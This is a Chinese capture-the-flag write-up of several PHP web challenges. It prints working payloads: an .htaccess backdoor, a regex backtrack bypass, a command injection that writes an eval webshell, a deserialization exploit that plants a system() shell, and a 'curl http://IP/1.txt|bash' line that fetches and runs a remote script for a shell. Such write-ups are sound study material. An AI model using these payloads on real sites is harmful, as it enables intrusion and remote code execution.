和[XNUCA2019Qualifier]EasyPHP基本一样,唯一的区别就是少了include_once导致没办法通过error_log来做,预期解应该就是那道题的非预期。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
|
文件包含,其中文件内容不能有on|html|type|flag|upload|file关键字,文件名只能有字母和点,且每次访问都会删除当前目录除index.php之外的文件。
写个一句话,发现没有被解析,可能是php解析配置php_flag engine
关闭了。配置的问题还是要回归配置文件,虽然主配置文件中关闭了php解析,但.htaccess优先度高于主配置文件,因此我们可以使用.htaccess执行php代码。
利用.htaccess构成后门,payload:
1
|
?filename=.htaccess&content=php_value%20auto_prepend_fi\%0ale%20".htaccess"%0a%23%20<?php system($_POST["cmd"]);?>\
|
通过php_value来设置preg_macth正则回溯次数
1
|
?filename=.htaccess&content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\
|
使preg_match返回False,继而绕过了正则判断,然后的过程由于源码没有使用include,所以应该还是利用.htaccess写入php代码自包含吧,那和前一种方法差不多(自认为)。
robots.txt提示check.php,暂时用不上,先搁着
伪协议读源码,有waf,fuzz一下,base64|rot13ban了,换个过滤器quoted-printable-encode
,
1
|
?file=php://filter/convert.quoted-printable-encode/resource=GWHT.php
|
在Encode/Decode Quoted Printable还原,获得源码
GWHT.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<?php
ini_set('max_execution_time', 5);
if ($_COOKIE['pass'] !== getenv('PASS')) {
setcookie('pass', 'PASS');
die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
}
?>
...
<?php
if (isset($_GET["count"])) {
$count = $_GET["count"];
if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
die('hacker!');
}
echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
}
?>
|
check.php
1
2
3
4
5
|
<?php
$pass = "GWHT";
// Cookie password.
echo "Here is nothing, isn't it ?";
header('Location: /');
|
写木马
1
|
1'| echo "<?=eval(\$_POST['shell'])?>" > shell.php ||'
|
蚁剑连接,根目录下没有flag,但是在/GWHT/README
读到My password hash is 877862561ba0162ce610dd8bf90868ad414f0ec6
,解出来密钥为GWHTCTF
。再执行一下ls -l
查看文件权限,发现所有人是GWHT,也就是我们需要切换为该用户,呃呃呃,su命令用不了咋整啊,嘤嘤嘤。。。
赶紧恶补一下Linux提权,收集信息的过程中查看root进程发现
1
|
/bin/sh -c bash -c 'echo $FLAG > /GWHT/system/of/a/down/flag.txt && apache2-foreground'
|
环境变量里有,那还等什么,直接echo出flag。
robots.txt提示star1.php(别问,问就是猜的)
index.php没发现什么东西,访问star1.php看看,F12
1
|
<!-- 小胖说用个不安全的协议从我家才能进ser.php呢! !-->
|
直接http://127.0.0.1/ser.php
访问获得源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
}
}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this->file = $file;
$this->text = $text;
}
public function hasaki(){
$d = '<?php die("nononon");?>';
$a = $d.$this->text;
@file_put_contents($this->file,$a);
}
}
class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";
}
}
?>
|
后面没思路了,参数传递点死活找不到。。。看了源码才知道star1.php还接收了一个参数c(怎么找到的啊,不会啊),也是这个c赋值触发了__toString
魔术方法。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<?php
class GWHT{
public $hero;
}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this->file = $file;
$this->text = $text;
}
}
$filename = "php://filter/write=convert.base64-decode/resource=aaa.php";
$content = "aaaPD9waHAgc3lzdGVtKCRfUE9TVFthXSk7";// <?php system($_POST[a]);
$o = new GWHT();
$o->hero = new Yongen($filename,$content);
echo serialize($o);
?>
|
payload
1
|
?path=http://127.0.0.1/star1.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:57:"php://filter/write=convert.base64-decode/resource=aaa.php";s:4:"text";s:35:"aaaPD9waHAgc3lzdGVtKCRfUE9TVFthXSk7";}}
|
添加的aaa是补全前面的死亡代码,使其凑够为8的倍数,否则base64解码时会破坏我们构造的shell。
注意:flag.php是幌子,是我太单纯了。。。
F12,点进Hei_Mao_Jing_Chang.mp3
,最下面出现源码
1
2
3
4
5
6
7
8
9
10
11
|
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('谁!竟敢踩我一只耳的尾巴!');
}
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}
echo exec("nc".$_POST['One-ear']);
|
php参考手册中提到参数为数组时返回NULL,此时$clandestine值即为NULL,那么$hh就可以算出来了。echo加exec,那也不用弹什么shell了,直接命令执行,回显只会显示最后一行,base64也无法完全显示出来,只能弹shell了。
White-cat-monitor[]=ttt&Black-Cat-Sheriff=hash值&One-ear=;curl http://IP/1.txt|bash
flag在环境变量里,之前也猜到在环境变量里了,但是echo $FLAG
的hash值总是匹配不上,也不知道为啥。。。
后面的两道一道Java一道PWN,不是我现在能做的😂
羊城杯CTF Web Write-Up
深究用户利用.htaccess的原理篡改配置导致的安全问题
羊城杯2020 Web Writeup